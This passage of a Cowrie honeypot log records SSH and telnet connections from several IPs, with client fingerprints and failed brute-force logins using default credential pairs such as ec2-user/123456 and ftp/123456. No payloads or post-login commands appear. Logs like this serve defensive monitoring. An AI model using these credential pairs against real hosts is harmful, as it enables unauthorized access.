{"eventid":"cowrie.session.connect","src_ip":"47.86.95.62","src_port":48654,"dst_ip":"10.17.0.5","dst_port":22,"session":"5238f40a4588","protocol":"ssh","message":"New connection: 47.86.95.62:48654 (10.17.0.5:22) [session: 5238f40a4588]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T15:45:11.443061Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T15:45:11.463024Z","src_ip":"47.86.95.62","session":"5238f40a4588","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T15:45:11.679189Z","src_ip":"47.86.95.62","session":"5238f40a4588","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"trinity","password":"trinity","message":"login attempt [trinity/trinity] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T15:45:12.716856Z","src_ip":"47.86.95.62","session":"5238f40a4588","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T15:45:13.929042Z","src_ip":"47.86.95.62","session":"5238f40a4588","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"47.86.95.62","src_port":48666,"dst_ip":"10.17.0.5","dst_port":22,"session":"d61dedd63402","protocol":"ssh","message":"New connection: 47.86.95.62:48666 (10.17.0.5:22) [session: d61dedd63402]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T15:45:17.242010Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T15:45:19.196779Z","src_ip":"47.86.95.62","session":"d61dedd63402","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T15:45:19.264772Z","src_ip":"47.86.95.62","session":"d61dedd63402","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.203.57.2","src_port":53790,"dst_ip":"159.203.135.109","dst_port":22,"session":"2ab9cb1db18a","protocol":"ssh","message":"New connection: 103.203.57.2:53790 (159.203.135.109:22) [session: 2ab9cb1db18a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T15:45:22.055773Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T15:45:22.063438Z","src_ip":"103.203.57.2","session":"2ab9cb1db18a","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"084386fa7ae5039bcf6f07298a05a227","hasshAlgorithms":"curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1;aes128-ctr,aes192-ctr,aes256-ctr,aes128-gcm@openssh.com,arcfour256,arcfour128,aes128-ctr,aes192-ctr,aes256-ctr,aes128-gcm@openssh.com,arcfour256,arcfour128;hmac-sha2-256,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1"],"keyAlgs":["ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-rsa","ssh-dss","ssh-ed25519","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-ctr","aes192-ctr","aes256-ctr","aes128-gcm@openssh.com","arcfour256","arcfour128","aes128-ctr","aes192-ctr","aes256-ctr","aes128-gcm@openssh.com","arcfour256","arcfour128"],"macCS":["hmac-sha2-256","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 084386fa7ae5039bcf6f07298a05a227","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T15:45:22.073540Z","src_ip":"103.203.57.2","session":"2ab9cb1db18a","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ts","password":"ts","message":"login attempt [ts/ts] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T15:45:31.284535Z","src_ip":"47.86.95.62","session":"d61dedd63402","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"10.0","message":"Connection lost after 10.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T15:45:32.057703Z","src_ip":"103.203.57.2","session":"2ab9cb1db18a","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"18.8","message":"Connection lost after 18.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T15:45:36.011075Z","src_ip":"47.86.95.62","session":"d61dedd63402","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"47.86.95.62","src_port":45456,"dst_ip":"10.17.0.5","dst_port":22,"session":"e804590f1bfc","protocol":"ssh","message":"New connection: 47.86.95.62:45456 (10.17.0.5:22) [session: e804590f1bfc]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T15:45:42.065630Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T15:45:42.071319Z","src_ip":"47.86.95.62","session":"e804590f1bfc","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T15:45:42.283080Z","src_ip":"47.86.95.62","session":"e804590f1bfc","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"apache","password":"apache","message":"login attempt [apache/apache] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T15:45:42.957411Z","src_ip":"47.86.95.62","session":"e804590f1bfc","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.1","message":"Connection lost after 2.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T15:45:44.172912Z","src_ip":"47.86.95.62","session":"e804590f1bfc","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"47.86.95.62","src_port":45460,"dst_ip":"10.17.0.5","dst_port":22,"session":"91edbba68293","protocol":"ssh","message":"New connection: 47.86.95.62:45460 (10.17.0.5:22) [session: 91edbba68293]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T15:45:47.069429Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T15:45:47.078345Z","src_ip":"47.86.95.62","session":"91edbba68293","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T15:45:47.284731Z","src_ip":"47.86.95.62","session":"91edbba68293","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ec2-user","password":"123456","message":"login attempt [ec2-user/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T15:45:47.908649Z","src_ip":"47.86.95.62","session":"91edbba68293","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.0","message":"Connection lost after 2.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T15:45:49.122946Z","src_ip":"47.86.95.62","session":"91edbba68293","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":120.00539898872375,"message":"Connection lost after 120 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T15:45:55.563922Z","src_ip":"187.222.242.146","session":"7d500e080083","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":120.00534391403198,"message":"Connection lost after 120 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T15:45:55.568071Z","src_ip":"187.222.242.146","session":"91f8010e67cd","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":120.00761795043945,"message":"Connection lost after 120 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T15:45:55.573757Z","src_ip":"187.222.242.146","session":"aa736f852084","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":120.00198006629944,"message":"Connection lost after 120 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T15:45:56.488966Z","src_ip":"187.222.242.146","session":"595980a2909b","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"187.222.242.146","src_port":49682,"dst_ip":"159.203.135.109","dst_port":23,"session":"49c557e047d2","protocol":"telnet","message":"New connection: 187.222.242.146:49682 (159.203.135.109:23) [session: 49c557e047d2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T15:46:14.545257Z"}
{"eventid":"cowrie.session.connect","src_ip":"187.222.242.146","src_port":49688,"dst_ip":"159.203.135.109","dst_port":23,"session":"9c7b1ef85fb4","protocol":"telnet","message":"New connection: 187.222.242.146:49688 (159.203.135.109:23) [session: 9c7b1ef85fb4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T15:46:14.570992Z"}
{"eventid":"cowrie.session.connect","src_ip":"187.222.242.146","src_port":49684,"dst_ip":"159.203.135.109","dst_port":23,"session":"2199a75472df","protocol":"telnet","message":"New connection: 187.222.242.146:49684 (159.203.135.109:23) [session: 2199a75472df]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T15:46:14.578543Z"}
{"eventid":"cowrie.session.connect","src_ip":"187.222.242.146","src_port":49714,"dst_ip":"159.203.135.109","dst_port":23,"session":"d9ebaa67d4b2","protocol":"telnet","message":"New connection: 187.222.242.146:49714 (159.203.135.109:23) [session: d9ebaa67d4b2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T15:46:14.598621Z"}
{"eventid":"cowrie.session.connect","src_ip":"47.86.95.62","src_port":60700,"dst_ip":"10.17.0.5","dst_port":22,"session":"893213c827cf","protocol":"ssh","message":"New connection: 47.86.95.62:60700 (10.17.0.5:22) [session: 893213c827cf]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T15:46:19.846523Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T15:46:21.268132Z","src_ip":"47.86.95.62","session":"893213c827cf","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T15:46:21.272782Z","src_ip":"47.86.95.62","session":"893213c827cf","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ftp","password":"123456","message":"login attempt [ftp/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T15:46:24.151927Z","src_ip":"47.86.95.62","session":"893213c827cf","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"5.6","message":"Connection lost after 5.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T15:46:25.448951Z","src_ip":"47.86.95.62","session":"893213c827cf","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"47.86.95.62","src_port":41096,"dst_ip":"10.17.0.5","dst_port":22,"session":"e35a36189ef4","protocol":"ssh","message":"New connection: 47.86.95.62:41096 (10.17.0.5:22) [session: e35a36189ef4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T15:46:28.047735Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T15:46:28.053059Z","src_ip":"47.86.95.62","session":"e35a36189ef4","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T15:46:28.281031Z","src_ip":"47.86.95.62","session":"e35a36189ef4","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"minecraft","password":"password","message":"login attempt [minecraft/password] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T15:46:29.371482Z","src_ip":"47.86.95.62","session":"e35a36189ef4","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T15:46:30.580505Z","src_ip":"47.86.95.62","session":"e35a36189ef4","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"47.86.95.62","src_port":57016,"dst_ip":"10.17.0.5","dst_port":22,"session":"d7246cf45b7e","protocol":"ssh","message":"New connection: 47.86.95.62:57016 (10.17.0.5:22) [session: d7246cf45b7e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T15:46:33.361446Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T15:46:33.365671Z","src_ip":"47.86.95.62","session":"d7246cf45b7e","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-